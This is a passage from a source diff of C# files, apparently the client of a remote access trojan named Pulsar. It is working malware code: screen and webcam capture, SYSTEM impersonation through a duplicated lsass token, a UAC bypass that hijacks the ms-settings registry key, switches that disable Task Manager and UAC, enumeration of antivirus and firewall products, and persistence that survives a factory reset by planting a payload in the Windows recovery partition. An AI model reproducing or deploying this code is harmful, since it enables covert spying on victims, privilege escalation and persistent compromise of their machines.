private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData);
[DllImport("gdi32.dll")]
private static extern bool DeleteDC(IntPtr hdc);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
public static Bitmap CaptureScreen(int screenNumber, bool setThreadPointer = false)
{
if (setThreadPointer)
{
SetThreadDesktop(Settings.OriginalDesktopPointer);
}
Rectangle bounds = GetBounds(screenNumber);
Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
using (Graphics g = Graphics.FromImage(screen))
{
IntPtr destDeviceContext = g.GetHdc();
using (var srcDeviceContext = new DeviceContext("DISPLAY"))
{
BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext.Handle, bounds.X, bounds.Y, SRCCOPY);
DrawCursor(destDeviceContext, bounds);
}
g.ReleaseHdc(destDeviceContext);
}
return screen;
}
private static void DrawCursor(IntPtr destDeviceContext, Rectangle bounds)
{
var cursorInfo = new CURSORINFO { cbSize = CursorInfoSize };
if (GetCursorInfo(out cursorInfo) && cursorInfo.flags == CURSOR_SHOWING)
{
DrawIcon(destDeviceContext, cursorInfo.ScreenPosition.X - bounds.X, cursorInfo.ScreenPosition.Y - bounds.Y, cursorInfo.hCursor);
}
}
public static Rectangle GetBounds(int screenNumber)
{
var rects = DisplayManager.GetAllMonitorRects();
if (screenNumber < 0 || screenNumber >= rects.Count)
throw new ArgumentOutOfRangeException(nameof(screenNumber));
var r = rects[screenNumber];
return new Rectangle(r.left, r.top, r.right - r.left, r.bottom - r.top);
}
private class DeviceContext : IDisposable
{
public IntPtr Handle { get; }
public DeviceContext(string deviceName)
{
Handle = CreateDC(deviceName, null, null, IntPtr.Zero);
}
public void Dispose()
{
DeleteDC(Handle);
}
}
}
public class DisplayManager
{
[DllImport("user32.dll")]
public static extern bool EnumDisplayMonitors(IntPtr hdc, IntPtr lprcClip, MonitorEnumProc lpfnEnum, IntPtr dwData);
public delegate bool MonitorEnumProc(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData);
[StructLayout(LayoutKind.Sequential)]
public struct Rect
{
public int left;
public int top;
public int right;
public int bottom;
}
public static int GetDisplayCount()
{
int count = 0;
EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero,
(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) =>
{
count++;
return true;
}, IntPtr.Zero);
return count;
}
public static List<Rect> GetAllMonitorRects()
{
var rects = new List<Rect>();
EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero,
(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) =>
{
rects.Add(lprcMonitor);
return true;
}, IntPtr.Zero);
return rects;
}
}
}
+205
View File
@@ -0,0 +1,205 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
namespace Pulsar.Client.Helper
{
public class SystemElevation
{
private const uint TOKEN_ALL_ACCESS = 0x000F01FF;
private const uint TOKEN_DUPLICATE = 0x00000002;
private const uint TOKEN_QUERY = 0x00000004;
private const int SE_PRIVILEGE_ENABLED = 0x2;
[StructLayout(LayoutKind.Sequential)]
public struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(IntPtr processHandle, uint desiredAccess, out IntPtr tokenHandle);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(
IntPtr tokenHandle,
bool disableAllPrivileges,
ref TokPriv1Luid newState,
int bufferLength,
IntPtr previousState,
IntPtr returnLength);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool DuplicateToken(IntPtr existingTokenHandle, int impersonationLevel, out IntPtr duplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool SetThreadToken(IntPtr thread, IntPtr token);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
public static void Elevate(ISender client)
{
if (!IsAdministrator())
{
Debug.WriteLine("Run the Command as an Administrator");
client.Send(new SetStatus { Message = "Run the Command as an Administrator" });
return;
}
if (!EnablePrivilege("SeDebugPrivilege"))
{
Debug.WriteLine("Failed to enable SeDebugPrivilege.");
client.Send(new SetStatus { Message = "Failed to enable SeDebugPrivilege." });
return;
}
if (!DuplicateAndSetToken())
{
Debug.WriteLine("Token duplication and impersonation failed.");
client.Send(new SetStatus { Message = "Token duplication and impersonation failed." });
}
else
{
Debug.WriteLine("Token duplication and impersonation successful.");
client.Send(new SetStatus { Message = "Token duplication and impersonation successful." });
}
}
private static bool IsAdministrator()
{
WindowsPrincipal principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
private static bool EnablePrivilege(string privilege)
{
if (!LookupPrivilegeValue(null, privilege, out long luid))
{
return false;
}
TokPriv1Luid tpLuid = new TokPriv1Luid
{
Count = 1,
Luid = luid,
Attr = SE_PRIVILEGE_ENABLED
};
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken))
{
return false;
}
try
{
return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero);
}
finally
{
CloseHandle(hToken);
}
}
private static bool DuplicateAndSetToken()
{
Process lsass = Process.GetProcessesByName("lsass")[0];
if (!OpenProcessToken(lsass.Handle, TOKEN_DUPLICATE | TOKEN_QUERY, out IntPtr hLsassToken))
{
return false;
}
try
{
if (!DuplicateToken(hLsassToken, 2, out IntPtr duplicateTokenHandle))
{
return false;
}
try
{
return SetThreadToken(IntPtr.Zero, duplicateTokenHandle);
}
finally
{
CloseHandle(duplicateTokenHandle);
}
}
finally
{
CloseHandle(hLsassToken);
}
}
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr hObject);
public static void DeElevate(ISender client)
{
if (!IsAdministrator())
{
Debug.WriteLine("Run the Command as an Administrator");
client.Send(new SetStatus { Message = "Run the Command as an Administrator" });
return;
}
if (!DisablePrivilege("SeDebugPrivilege"))
{
Debug.WriteLine("Failed to disable SeDebugPrivilege.");
client.Send(new SetStatus { Message = "Failed to disable SeDebugPrivilege." });
return;
}
if (!RevertToSelf())
{
Debug.WriteLine("Failed to revert to self.");
client.Send(new SetStatus { Message = "Failed to revert to self." });
}
else
{
Debug.WriteLine("Reverted to self successfully.");
client.Send(new SetStatus { Message = "Reverted to self successfully." });
}
}
private static bool DisablePrivilege(string privilege)
{
if (!LookupPrivilegeValue(null, privilege, out long luid))
{
return false;
}
TokPriv1Luid tpLuid = new TokPriv1Luid
{
Count = 1,
Luid = luid,
Attr = 0 // Disable the privilege
};
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken))
{
return false;
}
try
{
return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero);
}
finally
{
CloseHandle(hToken);
}
}
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool RevertToSelf();
}
}
+137
View File
@@ -0,0 +1,137 @@
using Microsoft.Win32;
using Pulsar.Common.Helpers;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;
namespace Pulsar.Client.Helper
{
public static class SystemHelper
{
public static string GetUptime()
{
try
{
var explorers = System.Diagnostics.Process.GetProcessesByName("explorer");
if (explorers.Length > 0)
{
// Select the oldest explorer instance (earliest StartTime)
var oldest = explorers.OrderBy(p => p.StartTime).First();
DateTime sessionStart = oldest.StartTime;
TimeSpan uptimeSpan = DateTime.Now - sessionStart;
return $"{uptimeSpan.Days}d : {uptimeSpan.Hours}h : {uptimeSpan.Minutes}m : {uptimeSpan.Seconds}s";
}
else
{
return "Explorer not running";
}
}
catch
{
TimeSpan uptimeSpan = TimeSpan.FromMilliseconds(Environment.TickCount);
return $"{uptimeSpan.Days}d : {uptimeSpan.Hours}h : {uptimeSpan.Minutes}m : {uptimeSpan.Seconds}s";
}
}
public static string GetPcName()
{
return Environment.MachineName;
}
public static string GetAntivirus()
{
try
{
string antivirusName = string.Empty;
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
string scope = "root\\SecurityCenter2";
string query = "SELECT * FROM AntivirusProduct";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
{
foreach (ManagementObject mObject in searcher.Get())
{
antivirusName += mObject["displayName"].ToString() + "; ";
}
}
antivirusName = StringHelper.RemoveLastChars(antivirusName);
return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A";
}
catch
{
return "Unknown";
}
}
public static string GetFirewall()
{
try
{
string firewallName = string.Empty;
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
string scope = "root\\SecurityCenter2";
string query = "SELECT * FROM FirewallProduct";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
{
foreach (ManagementObject mObject in searcher.Get())
{
firewallName += mObject["displayName"].ToString() + "; ";
}
}
firewallName = StringHelper.RemoveLastChars(firewallName);
return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
}
catch
{
return "Unknown";
}
}
public static string GetDefaultBrowser()
{
try
{
const string registryKey = @"Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice";
using (var key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(registryKey))
{
string progId = key?.GetValue("ProgId")?.ToString() ?? "";
if (!string.IsNullOrEmpty(progId))
{
var map = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase)
{
{ "ChromeHTML", "Google Chrome" },
{ "MSEdgeHTM", "Microsoft Edge" },
{ "IE.HTTP", "Internet Explorer" },
{ "FirefoxURL", "Mozilla Firefox" },
{ "BraveHTML", "Brave" },
{ "OperaStable", "Opera" },
{ "VivaldiHTM", "Vivaldi" }
};
foreach (var kvp in map)
{
if (progId.StartsWith(kvp.Key, StringComparison.OrdinalIgnoreCase))
return kvp.Value;
}
// fallback: trim weird suffixes
return progId.Split('-')[0].Replace("URL", "").Replace("HTML", "").Trim();
}
}
}
catch
{
// ignore and fallback
}
return "-";
}
}
}
@@ -0,0 +1,56 @@
using Microsoft.Win32;
using System;
namespace Pulsar.Client.Helper.TaskManager
{
/// <summary>
/// Provides functionality to enable or disable the Windows Task Manager.
/// </summary>
public static class TaskManager
{
private const string RegistryKeyPath = @"Software\Microsoft\Windows\CurrentVersion\Policies\System";
private const string ValueName = "DisableTaskMgr";
/// <summary>
/// Enables the Windows Task Manager by removing the registry restriction.
/// </summary>
public static void Enable()
{
try
{
using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(RegistryKeyPath, true))
{
if (key != null)
{
key.DeleteValue(ValueName, false);
}
}
}
catch (Exception ex)
{
System.Diagnostics.Debug.WriteLine($"Failed to enable Task Manager: {ex.Message}");
}
}
/// <summary>
/// Disables the Windows Task Manager by setting the registry restriction.
/// </summary>
public static void Disable()
{
try
{
using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(RegistryKeyPath))
{
if (key != null)
{
key.SetValue(ValueName, 1, RegistryValueKind.DWord);
}
}
}
catch (Exception ex)
{
System.Diagnostics.Debug.WriteLine($"Failed to disable Task Manager: {ex.Message}");
}
}
}
}
+58
View File
@@ -0,0 +1,58 @@
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.UAC
{
public class Bypass
{
private static string randomBatname = Guid.NewGuid().ToString("N").Substring(0, 8);
public static void DoUacBypass()
{
string exePath = Application.ExecutablePath;
string batPath = System.IO.Path.Combine(System.IO.Path.GetTempPath(), randomBatname + ".bat");
string batContent = $@"
@echo off
timeout /t 4 /nobreak >nul
start """" ""{exePath}""
(goto) 2>nul & del ""%~f0""
";
System.IO.File.WriteAllText(batPath, batContent, Encoding.ASCII);
string command = $"conhost --headless \"{batPath}\"";
using (RegistryKey classesKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Classes", true))
{
using (RegistryKey cmdKey = classesKey.CreateSubKey(@"ms-settings\Shell\Open\command"))
{
cmdKey.SetValue("", command, RegistryValueKind.String);
cmdKey.SetValue("DelegateExecute", "", RegistryValueKind.String);
}
}
Process p = new Process();
p.StartInfo.FileName = "computerdefaults.exe";
p.Start();
p.WaitForExit();
using (RegistryKey classesKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Classes", true))
{
try
{
classesKey.DeleteSubKeyTree("ms-settings");
}
catch { }
}
}
}
}
+46
View File
@@ -0,0 +1,46 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.UAC
{
public class UACToggle
{
public static void EnableUAC()
{
try
{
Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
if (uacKey != null)
{
uacKey.SetValue("EnableLUA", 1, Microsoft.Win32.RegistryValueKind.DWord);
uacKey.Close();
}
}
catch (Exception ex)
{
Debug.WriteLine("Error enabling UAC: " + ex.Message);
}
}
public static void DisableUAC()
{
try
{
Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
if (uacKey != null)
{
uacKey.SetValue("EnableLUA", 0, Microsoft.Win32.RegistryValueKind.DWord);
uacKey.Close();
}
}
catch (Exception ex)
{
Debug.WriteLine("Error disabling UAC: " + ex.Message);
}
}
}
}
+205
View File
@@ -0,0 +1,205 @@
using AForge.Video;
using AForge.Video.DirectShow;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Threading;
namespace Pulsar.Client.Helper
{
public class WebcamHelper
{
private readonly object _lock = new object();
private Bitmap _currentFrame;
private bool _isRunning = false;
private VideoCaptureDevice _videoDevice;
private int _width;
private int _height;
private DateTime _lastFrameTime = DateTime.MinValue;
private readonly TimeSpan _frameInterval = TimeSpan.FromMilliseconds(33); // ~30fps
public void StartWebcam(int webcamIndex)
{
try
{
if (_isRunning) return;
FilterInfoCollection captureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
if (captureDevices.Count == 0)
{
Debug.WriteLine("No webcam detected.");
return;
}
if (webcamIndex < 0 || webcamIndex >= captureDevices.Count)
{
Debug.WriteLine("Invalid selection.");
return;
}
_videoDevice = new VideoCaptureDevice(captureDevices[webcamIndex].MonikerString);
var videoCapabilities = _videoDevice.VideoCapabilities;
if (videoCapabilities != null && videoCapabilities.Length > 0)
{
bool foundMatchingResolution = false;
foreach (var capability in videoCapabilities)
{
if (capability.AverageFrameRate >= 25 && capability.AverageFrameRate <= 35)
{
_videoDevice.VideoResolution = capability;
foundMatchingResolution = true;
Debug.WriteLine($"Selected video mode: {capability.FrameSize.Width}x{capability.FrameSize.Height} @ {capability.AverageFrameRate}fps");
break;
}
}
if (!foundMatchingResolution && videoCapabilities.Length > 0)
{
_videoDevice.VideoResolution = videoCapabilities[0];
Debug.WriteLine($"Selected default video mode: {videoCapabilities[0].FrameSize.Width}x{videoCapabilities[0].FrameSize.Height} @ {videoCapabilities[0].AverageFrameRate}fps");
}
}
_videoDevice.NewFrame += new NewFrameEventHandler(FinalFrame_NewFrame);
_videoDevice.VideoSourceError += VideoDevice_VideoSourceError;
_videoDevice.Start();
_isRunning = true;
}
catch (Exception ex)
{
Debug.WriteLine($"Error starting webcam: {ex.Message}");
}
}
public static string[] GetWebcams()
{
try
{
FilterInfoCollection captureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
string[] webcams = new string[captureDevices.Count];
for (int i = 0; i < captureDevices.Count; i++)
{
webcams[i] = captureDevices[i].Name;
}
return webcams;
}
catch (Exception ex)
{
Debug.WriteLine($"Error getting webcams: {ex.Message}");
return new string[0];
}
}
public void StopWebcam()
{
if (!_isRunning) return;
try
{
_videoDevice.SignalToStop();
_videoDevice.WaitForStop();
}
catch (Exception ex)
{
Debug.WriteLine($"Error stopping webcam: {ex.Message}");
}
finally
{
if (_videoDevice != null)
{
_videoDevice.NewFrame -= FinalFrame_NewFrame;
_videoDevice.VideoSourceError -= VideoDevice_VideoSourceError;
_videoDevice = null;
}
_isRunning = false;
}
}
public Bitmap GetLatestFrame()
{
DateTime now = DateTime.UtcNow;
lock (_lock)
{
try
{
if (_currentFrame == null)
return null;
if ((now - _lastFrameTime) >= _frameInterval)
{
_lastFrameTime = now;
return _currentFrame?.Clone() as Bitmap;
}
return null;
}
catch (Exception ex)
{
Debug.WriteLine($"Error getting latest frame: {ex.Message}");
return null;
}
}
}
public Bounds GetBounds()
{
lock (_lock)
{
try
{
return new Bounds { Width = _width, Height = _height };
}
catch (Exception ex)
{
Debug.WriteLine($"Error getting bounds: {ex.Message}");
return new Bounds { Width = 0, Height = 0 };
}
}
}
private void FinalFrame_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
lock (_lock)
{
try
{
_currentFrame?.Dispose();
Bitmap frame = (Bitmap)eventArgs.Frame.Clone();
frame.RotateFlip(RotateFlipType.RotateNoneFlipX);
_currentFrame = frame;
_width = _currentFrame.Width;
_height = _currentFrame.Height;
}
catch (Exception ex)
{
Debug.WriteLine($"Error processing new frame: {ex.Message}");
}
}
}
private void VideoDevice_VideoSourceError(object sender, VideoSourceErrorEventArgs eventArgs)
{
var desc = eventArgs.Description ?? string.Empty;
if (desc.IndexOf("0x80004002", StringComparison.OrdinalIgnoreCase) >= 0 ||
desc.IndexOf("Interface not supported", StringComparison.OrdinalIgnoreCase) >= 0)
{
Debug.WriteLine("Webcam does not support required video control interface; ignoring.");
}
else
{
Debug.WriteLine($"Video source error: {desc}");
}
}
}
public struct Bounds
{
public int Width { get; set; }
public int Height { get; set; }
}
}
+236
View File
@@ -0,0 +1,236 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml.Linq;
namespace Pulsar.Client.Helper.WinRE
{
public class WinREPersistence
{
private static readonly Random random = new Random();
private static readonly string SystemDrive = Path.GetPathRoot(Environment.SystemDirectory);
private static readonly string OEMPath = Path.Combine(SystemDrive, "Recovery", "OEM");
private static readonly string OEMDataBackupPath = Path.Combine(OEMPath, "XRSBackupData");
private static readonly string ResetConfigPath = Path.Combine(OEMPath, "ResetConfig.xml");
private static string GenerateRandomString(int length)
{
return new string(Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", length).Select(s => s[random.Next(s.Length)]).ToArray());
}
public static bool CreateEnvironment()
{
if (!Directory.Exists(OEMPath))
{
try
{
Directory.CreateDirectory(OEMPath);
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
return false;
}
}
if (Directory.Exists(OEMDataBackupPath))
return false;
Directory.CreateDirectory(OEMDataBackupPath);
return true;
}
public static void InstallFile(byte[] fileBytes, string extension)
{
if (CreateEnvironment())
Debug.WriteLine("Created OEM Environment");
else
Debug.WriteLine("OEM Environment already exists, continuing installation");
List<string> stringList = new List<string>();
string path2 = GenerateRandomString(20) + extension;
stringList.Add(path2);
try
{
File.WriteAllBytes(Path.Combine(OEMPath, path2), fileBytes);
}
catch
{
Debug.WriteLine("Error writing stub file");
return;
}
Debug.WriteLine("Successfully wrote stub file: " + path2);
string payload = CreatePayload("cmd.exe /c start %TARGETOSDRIVE%\\Recovery\\OEM\\" + path2, false);
string basicResetFileName = GenerateRandomString(20) + ".bat";
string factoryResetFileName = GenerateRandomString(20) + ".bat";
if (BackupCurrentConfig(basicResetFileName, factoryResetFileName, stringList.ToArray()))
Debug.WriteLine("Successfully backed up current config");
else
Debug.WriteLine("Error backing up current config");
CreateOrUpdateResetConfig(basicResetFileName, factoryResetFileName, payload);
Debug.WriteLine("Successfully Installed!");
}
private static string CreatePayload(string command, bool UseEscaped = true)
{
string randomString = GenerateRandomString(20);
string str = !UseEscaped ? command : command.Replace("%", "%%").Replace("^", "^^").Replace("&", "^&").Replace("|", "^|").Replace("<", "^<").Replace(">", "^>").Replace("\"", "\"\"");
return "\r\n@echo off\r\nfor /F \"tokens=1,2,3 delims= \" %%A in ('reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\RecoveryEnvironment\" /v TargetOS') DO SET TARGETOS=%%C\r\n\r\nfor /F \"tokens=1 delims=\\\" %%A in ('Echo %TARGETOS%') DO SET TARGETOSDRIVE=%%A\r\n\r\nreg load HKLM\\" + randomString + " %TARGETOSDRIVE%\\windows\\system32\\config\\SOFTWARE\r\n\r\nreg add HKLM\\" + randomString + "\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v " + randomString + " /t REG_SZ /d \"" + str + "\"\r\n\r\nreg unload HKLM\\" + randomString + "\r\n";
}
private static bool BackupCurrentConfig(
string basicResetFileName,
string factoryResetFileName,
string[] additionalDeletes = null)
{
List<string> contents = new List<string>()
{
basicResetFileName,
factoryResetFileName
};
if (additionalDeletes != null)
contents.AddRange(additionalDeletes);
try
{
File.WriteAllLines(Path.Combine(OEMDataBackupPath, "DELETEME"), contents);
}
catch
{
return false;
}
if (File.Exists(ResetConfigPath))
{
try
{
File.Copy(ResetConfigPath, Path.Combine(OEMDataBackupPath, "configBackup"), true);
}
catch
{
return false;
}
}
return true;
}
private static void CreateOrUpdateResetConfig(
string basicResetFileName,
string factoryResetFileName,
string payload)
{
if (!File.Exists(ResetConfigPath))
CreateNewResetConfig(basicResetFileName, factoryResetFileName, payload);
else
UpdateExistingResetConfig(basicResetFileName, factoryResetFileName, payload);
}
private static void CreateNewResetConfig(
string basicResetFileName,
string factoryResetFileName,
string payload)
{
new XDocument(new XDeclaration("1.0", "utf-8", null), new object[1]
{
new XElement((XName) "Reset", new object[2]
{
CreateRunElement("BasicReset_AfterImageApply", basicResetFileName, 1),
CreateRunElement("FactoryReset_AfterImageApply", factoryResetFileName, 1)
})
}).Save(ResetConfigPath);
SaveScriptFile(basicResetFileName, payload);
SaveScriptFile(factoryResetFileName, payload);
}
private static void UpdateExistingResetConfig(
string basicResetFileName,
string factoryResetFileName,
string payload)
{
XElement resetConfig = XElement.Load(ResetConfigPath);
XElement[] array = resetConfig.Elements((XName)"Run").Where(e => (string)e.Attribute((XName)"Phase") == "FactoryReset_AfterImageApply" || (string)e.Attribute((XName)"Phase") == "BasicReset_AfterImageApply").ToArray();
int duration = array.Max(e => (int)e.Element((XName)"Duration"));
string additionalCommand1 = UpdatePhase(array, "BasicReset_AfterImageApply", basicResetFileName);
string additionalCommand2 = UpdatePhase(array, "FactoryReset_AfterImageApply", factoryResetFileName);
if (additionalCommand1 == null)
AddNewPhase(resetConfig, "BasicReset_AfterImageApply", basicResetFileName, duration);
if (additionalCommand2 == null)
AddNewPhase(resetConfig, "FactoryReset_AfterImageApply", factoryResetFileName, duration);
SaveScriptFile(basicResetFileName, payload, additionalCommand1);
SaveScriptFile(factoryResetFileName, payload, additionalCommand2);
resetConfig.Save(ResetConfigPath);
}
private static XElement CreateRunElement(string phase, string path, int duration)
{
return new XElement((XName)"Run", new object[3]
{
new XAttribute((XName) "Phase", phase),
new XElement((XName) "Path", path),
new XElement((XName) "Duration", duration)
});
}
private static string UpdatePhase(XElement[] phases, string phaseName, string fileName)
{
XElement xelement = phases.FirstOrDefault(p => (string)p.Attribute((XName)"Phase") == phaseName);
if (xelement == null)
return null;
string str1 = "%TARGETOSDRIVE%\\Recovery\\OEM\\" + (string)xelement.Element((XName)"Path");
string str2 = (string)xelement.Element((XName)"Param") ?? string.Empty;
xelement.Element((XName)"Param")?.Remove();
xelement.Element((XName)"Path").Value = fileName;
return "\"" + str1 + "\" " + str2;
}
private static void AddNewPhase(
XElement resetConfig,
string phaseName,
string fileName,
int duration)
{
XElement runElement = CreateRunElement(phaseName, fileName, duration);
resetConfig.Add(runElement);
}
private static void SaveScriptFile(string fileName, string payload, string additionalCommand = null)
{
string contents = payload;
if (!string.IsNullOrEmpty(additionalCommand))
contents += additionalCommand;
try
{
File.WriteAllText(Path.Combine(OEMPath, fileName), contents);
Debug.WriteLine("Wrote Stuff");
}
catch
{
Debug.WriteLine("Error writing: " + fileName);
}
}
public static void Uninstall()
{
if (!Directory.Exists(OEMDataBackupPath))
{
Debug.WriteLine("Not Installed");
return;
}
Debug.WriteLine("Uninstalling Reset Persistence");
_Uninstall();
Debug.WriteLine("Uninstalled Reset Persistence");
}
private static void _Uninstall()
{
try
{
Directory.Delete(OEMPath, true);
}
catch (Exception ex)
{
Debug.WriteLine("Error restoring config file: " + ex.Message);
}
}
}
}